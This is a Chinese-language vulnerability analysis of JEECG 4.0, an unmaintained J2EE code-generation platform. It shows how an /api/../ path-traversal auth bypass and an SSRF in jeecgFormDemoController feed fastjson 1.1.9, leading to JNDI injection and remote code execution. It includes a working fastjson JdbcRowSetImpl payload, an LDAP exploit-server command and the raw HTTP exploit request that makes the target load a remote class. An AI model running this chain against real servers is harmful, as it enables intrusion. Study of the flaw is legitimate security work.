漏洞描述
JEECG(J2EE Code Generation) 是开源的代码生成平台,目前官方已停止维护。JEECG 4.0及之前版本中,由于 /api 接口鉴权时未过滤路径遍历,攻击者可构造包含 ../ 的url绕过鉴权。攻击者可构造恶意请求利用 jeecgFormDemoController.do?interfaceTest 接口进行 jndi 注入攻击实现远程代码执行。注:Jeecg 与 Jeecg-boot 非相同应用。
解决建议
官方已停止维护,建议利用安全组设置其仅对可信地址开放。
项目下载地址
GitHub - jeecgboot/jeecg: JEECG是一款基于代码生成器的J2EE快速开发平台,开源界“小普元”超越传统商业企业级开发平台。引领新的开发模式(Online Coding模式(自定义表单) - > 代码生成器模式 - > 手工MERGE智能开发), 可以帮助解决Java项目90%的重复工作,让开发更多关注业务逻辑。既能快速提高开发效率,帮助公司节省人力成本,同时又不失灵活性。具备:表单配置能力(无需编码)、移动配置能力、工作流配置能力、报表配置能力(支持移动端)、插件开发能力(可插拔)JEECG是一款基于代码生成器的J2EE快速开发平台,开源界“小普元”超越传统商业企业级开发平台。引领新的开发模式(Online Coding模式(自定义表单) - > 代码生成器模式 - > 手工MERGE智能开发), 可以帮助解决Java项目90%的重复工作,让开发更多关注业务逻辑。既能快速提高开发效率,帮助公司节省人力成本,同时又不失灵活性。具备:表单配置能力(无需编码)、移动配置能力、工作流配置能力、报表配置能力(支持移动端)、插件开发能力(可插拔) - jeecgboot/jeecghttps://github.com/jeecgboot/jeecg/tree/master
漏洞分析
Controller 层
这里关注一个处理方法 testInterface
关注下代码
JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
serverUrl,requestBody 均为我们可控的变量,这里已经照成SSRF漏洞了。
需要注意的是这次的请求居然被JSONObject类型所接受,这个值得我们注意。
追入sendpost方法,查看细节
public static JSONObject sendPost(String url, String param)throws Exception {JSONObject jsonObject = null;PrintWriter out = null;BufferedReader in = null;String result = "";try {URL realUrl = new URL(url);// 打开和URL之间的连接URLConnection conn = realUrl.openConnection();// 设置通用的请求属性conn.setRequestProperty("accept", "*/*");conn.setRequestProperty("connection", "Keep-Alive");conn.setRequestProperty("user-agent", "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;SV1)");// 发送POST请求必须设置如下两行conn.setDoOutput(true);conn.setDoInput(true);//设置网络超时conn.setConnectTimeout(6000); conn.setReadTimeout(6000);// 获取URLConnection对象对应的输出流out = new PrintWriter(conn.getOutputStream());// 发送请求参数out.print(param);// flush输出流的缓冲out.flush();// 定义BufferedReader输入流来读取URL的响应in = new BufferedReader( new InputStreamReader(conn.getInputStream()));String line;while ((line = in.readLine()) != null) {result += line;}} catch (Exception e) {e.printStackTrace();}//使用finally块来关闭输出流、输入流finally{try{if(out!=null){out.close();}if(in!=null){in.close();}}catch(IOException ex){ex.printStackTrace();}}jsonObject = JSONObject.parseObject(result);return jsonObject;}
}
经过一系列处理之后得到result,之后交给JSONObject 试图将返回json转成java对象。
JSONObject是package com.alibaba.fastjson 包下的类,fastjson历史上出现了较为严重的漏洞。
查看本次项目fastjson的版本 1.1.9
版本略微老,毕竟这个项目是19年发布,漏洞是22年发布。从时间上讲就是降维打击了。
1.2.83 之前的包 com.alibaba:fastjson 很容易通过绕过默认的 autoType 关闭限制而受到不受信任数据反序列化的影响,这在某些情况下是可能的。利用此漏洞可以攻击远程服务器
那么如何利用此漏洞呢,关注我之前分析的一篇文章JAVA安全之Fastjson反序列化漏洞原理及复现_fastjson反序列化漏洞修复方案-CSDN博客
这里介绍利用方法
dnslog测试
先在本地开一个80服务放入恶意json数据,让jeecg来请求,
ok, 预料之中 ,接下来尝试rce了
jndi rce测试
注本次环境 jdk 8-131+ tomcat8 有些组合不成功
搭建ldap服务器&准备恶意类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc.exe"
本地开启一个8000提供json
python -m http.server
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.66.64.89:1389/8orsiq","autoCommit":true}}
burp发包
POST /api/../jeecgFormDemoController.do?interfaceTest HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
serverUrl=http://127.0.0.1:8000/date.txt&requestBody=1&requestMethod=GET
(实际测试 只能是GET)
总体来说此次rce 执行了这几步
1,发送恶意的payload
2,jeecg接收到这个含有url的payload,便会请求这个url且试图将接收到的json数据转为java对象 。这里就让它请求我们的json数据date.txt
3, jeecg在将json数据转为数据的期间发现数据中有@type字段,得知用户想自定义对象且类是JdbcRowSetImpl,于是将dataSourceName属性设置为ldap://10.66.64.89:1389/8orsiq,因为这里有ldap协议,所以JdbcRowSetImpl对象会自动解析它,于是就来到了第三步,请求ldap
4,ldap是我们构造的恶意服务器,当有服务来请求,我们返回 redirecting to http://10.66.64.89:8180/ExecTemplateJDK8.class 给jeecg,让jeecg去加载这类,jeecg为了获取对象于是便加载了这个类,殊不知这个类被我们加入了恶意代码,于是来到最后一步
5,恶意被加载,我们的代码得以执行 计算器弹出